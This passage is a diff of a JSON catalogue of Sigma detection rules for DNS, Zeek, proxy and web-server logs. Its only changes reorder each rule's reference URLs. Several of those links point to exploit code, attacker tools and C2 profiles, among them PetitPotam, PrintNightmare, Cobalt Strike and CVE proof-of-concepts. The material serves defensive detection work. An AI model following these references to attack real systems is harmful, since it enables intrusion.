"https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", - "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/" ], "tags": [ "attack.command_and_control", @@ -10152,9 +10150,9 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ - "https://twitter.com/stvemillertime/status/1024707932447854592", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml", + "https://twitter.com/stvemillertime/status/1024707932447854592" ], "tags": [ "attack.command_and_control", @@ -10202,8 +10200,8 @@ "logsource.product": "No established product", "refs": [ "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", - "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml", + "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195" ], "tags": [ "attack.command_and_control", @@ -10324,8 +10322,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29", "https://github.com/OTRF/detection-hackathon-apt29/issues/37", + "https://github.com/OTRF/detection-hackathon-apt29", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" ], "tags": [ @@ -10402,11 +10400,11 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", "https://threatpost.com/microsoft-petitpotam-poc/168163/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" + "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp" ], "tags": [ "attack.t1557.001", @@ -10429,13 +10427,13 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", - "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://github.com/corelight/CVE-2021-1675", "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml", "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" + "https://github.com/corelight/CVE-2021-1675", + "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29" ], "tags": [ "attack.execution", @@ -10460,9 +10458,9 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" ], "tags": [ @@ -10486,8 +10484,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml", + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468" ], "tags": [ "attack.command_and_control", @@ -10534,10 +10532,10 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://github.com/nknorg/nkn-sdk-go", - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml", "https://github.com/Maka8ka/NGLite", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" + "https://github.com/nknorg/nkn-sdk-go", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" ], "tags": [ "attack.command_and_control" @@ -10560,11 +10558,11 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://twitter.com/neu5ron/status/1346245602502443009", "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", - "https://tools.ietf.org/html/rfc2929#section-2.1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml", "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" + "https://twitter.com/neu5ron/status/1346245602502443009", + "https://tools.ietf.org/html/rfc2929#section-2.1" ], "tags": [ "attack.t1095", @@ -10611,9 +10609,9 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml", "https://github.com/OTRF/detection-hackathon-apt29", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" + "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html" ], "tags": [ "attack.command_and_control", @@ -10637,9 +10635,9 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml", "https://twitter.com/neu5ron/status/1438987292971053057?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" ], "tags": [ "attack.privilege_escalation", @@ -10743,8 +10741,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml", + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html" ], "tags": [ "attack.credential_access", @@ -10793,8 +10791,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml", + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml" ], "tags": [ "attack.lateral_movement", @@ -10818,8 +10816,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml" ], "tags": [ "attack.collection" @@ -10841,8 +10839,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml", + "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml" ], "tags": [ "attack.credential_access", @@ -10867,8 +10865,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://adsecurity.org/?p=3458", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml", + "https://adsecurity.org/?p=3458" ], "tags": [ "attack.credential_access", @@ -10891,9 +10889,9 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.advanced-ip-scanner.com/", "https://www.advanced-port-scanner.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml", + "https://www.advanced-ip-scanner.com/" ], "tags": [ "attack.discovery", @@ -10916,8 +10914,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "Internal research from Florian Roth", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml", + "Internal research from Florian Roth" ], "tags": [ "attack.command_and_control", @@ -10942,8 +10940,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml", + "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/" ], "tags": [ "attack.command_and_control" @@ -11014,8 +11012,8 @@ "logsource.product": "No established product", "refs": [ "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", - "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml", + "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100" ], "tags": [ "attack.defense_evasion", @@ -11039,8 +11037,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml", + "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/" ], "tags": [ "attack.defense_evasion", @@ -11064,8 +11062,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml", + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile" ], "tags": [ "attack.defense_evasion", @@ -11089,8 +11087,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml", + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile" ], "tags": [ "attack.defense_evasion", @@ -11166,11 +11164,11 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml", "https://www.spamhaus.org/statistics/tlds/", - "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml" + "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", + "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/" ], "tags": [ "attack.initial_access", @@ -11247,8 +11245,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://twitter.com/Carlos_Perez/status/883455096645931008", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml", + "https://twitter.com/Carlos_Perez/status/883455096645931008" ], "tags": [ "attack.defense_evasion", @@ -11272,9 +11270,9 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml", "https://twitter.com/craiu/status/1167358457344925696", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml" + "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html" ], "tags": [ "attack.execution", @@ -11352,8 +11350,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://breakdev.org/pwndrop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml", + "https://breakdev.org/pwndrop/" ], "tags": [ "attack.command_and_control", @@ -11405,8 +11403,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml", + "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb" ], "tags": [ "attack.initial_access", @@ -11433,10 +11431,10 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/" ], "tags": [ "attack.defense_evasion", @@ -11487,8 +11485,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml", + "Internal Research" ], "tags": [ "attack.command_and_control", @@ -11565,9 +11563,9 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml", "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", - "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml" + "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h" ], "tags": [ "attack.command_and_control", @@ -11641,12 +11639,12 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", - "http://www.botopedia.org/search?searchword=scan&searchphrase=all", + "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml", "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", "https://perishablepress.com/blacklist/ua-2013.txt", - "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml" + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "http://www.botopedia.org/search?searchword=scan&searchphrase=all" ], "tags": [ "attack.command_and_control", @@ -11742,8 +11740,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml", + "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html" ], "tags": [ "attack.initial_access", @@ -11814,8 +11812,8 @@ "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ - "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml", + "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md" ], "tags": "No established tags" }, @@ -11836,8 +11834,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/projectdiscovery/nuclei-templates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml", + "https://github.com/projectdiscovery/nuclei-templates" ], "tags": [ "attack.initial_access", @@ -11861,9 +11859,9 @@ "logsource.product": "No established product", "refs": [ "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", - "https://www.exploit-db.com/exploits/39161", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml", "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml" + "https://www.exploit-db.com/exploits/39161" ], "tags": [ "attack.initial_access", @@ -11912,9 +11910,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://twitter.com/pyn3rd/status/1020620932967223296", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml", "https://github.com/LandGrey/CVE-2018-2894", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml" + "https://twitter.com/pyn3rd/status/1020620932967223296" ], "tags": [ "attack.t1190", @@ -11940,8 +11938,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.exploit-db.com/exploits/47297", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml", + "https://www.exploit-db.com/exploits/47297" ], "tags": [ "attack.initial_access", @@ -11964,12 +11962,12 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://support.citrix.com/article/CTX267679", - "https://support.citrix.com/article/CTX267027", "https://isc.sans.edu/diary/25686", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml", + "https://support.citrix.com/article/CTX267679", "https://twitter.com/mpgn_x64/status/1216787131210829826", - "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml" + "https://support.citrix.com/article/CTX267027", + "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md" ], "tags": [ "attack.initial_access", @@ -12016,8 +12014,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/Ridter/cve-2020-0688", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml", + "https://github.com/Ridter/cve-2020-0688" ], "tags": [ "attack.initial_access", @@ -12064,8 +12062,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://kb.cert.org/vuls/id/843464", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml", + "https://kb.cert.org/vuls/id/843464" ], "tags": [ "attack.initial_access", @@ -12088,10 +12086,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://isc.sans.edu/diary/26734", - "https://twitter.com/jas502n/status/1321416053050667009?s=20", "https://twitter.com/sudo_sudoka/status/1323951871078223874", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml", + "https://twitter.com/jas502n/status/1321416053050667009?s=20", + "https://isc.sans.edu/diary/26734" ], "tags": [ "attack.t1190", @@ -12115,8 +12113,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", + "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" ], "tags": [ @@ -12169,9 +12167,9 @@ "refs": [ "https://support.f5.com/csp/article/K52145254", "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", - "https://twitter.com/yorickkoster/status/1279709009151434754", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml", "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml" + "https://twitter.com/yorickkoster/status/1279709009151434754" ], "tags": [ "attack.initial_access", @@ -12195,9 +12193,9 @@ "logsource.product": "No established product", "refs": [ "https://support.citrix.com/article/CTX276688", - "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", "https://dmaasland.github.io/posts/citrix.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml", + "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/" ], "tags": [ "attack.initial_access", @@ -12220,9 +12218,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", "https://www.tenable.com/security/research/tra-2021-13", "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", + "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" ], "tags": [ @@ -12274,10 +12272,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", - "https://f5.pm/go-59627.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", "https://swarm.ptsecurity.com/unauth-rce-vmware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" + "https://f5.pm/go-59627.html", + "https://www.vmware.com/security/advisories/VMSA-2021-0002.html" ], "tags": [ "attack.initial_access", @@ -12300,9 +12298,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://twitter.com/wugeej/status/1369476795255320580", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml", "https://paper.seebug.org/1495/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml" + "https://twitter.com/wugeej/status/1369476795255320580" ], "tags": [ "attack.initial_access", @@ -12326,9 +12324,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml", "https://kb.vmware.com/s/article/85717", - "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml" + "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server" ], "tags": [ "attack.initial_access", @@ -12351,8 +12349,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml", + "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection" ], "tags": [ "attack.initial_access", @@ -12375,9 +12373,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", 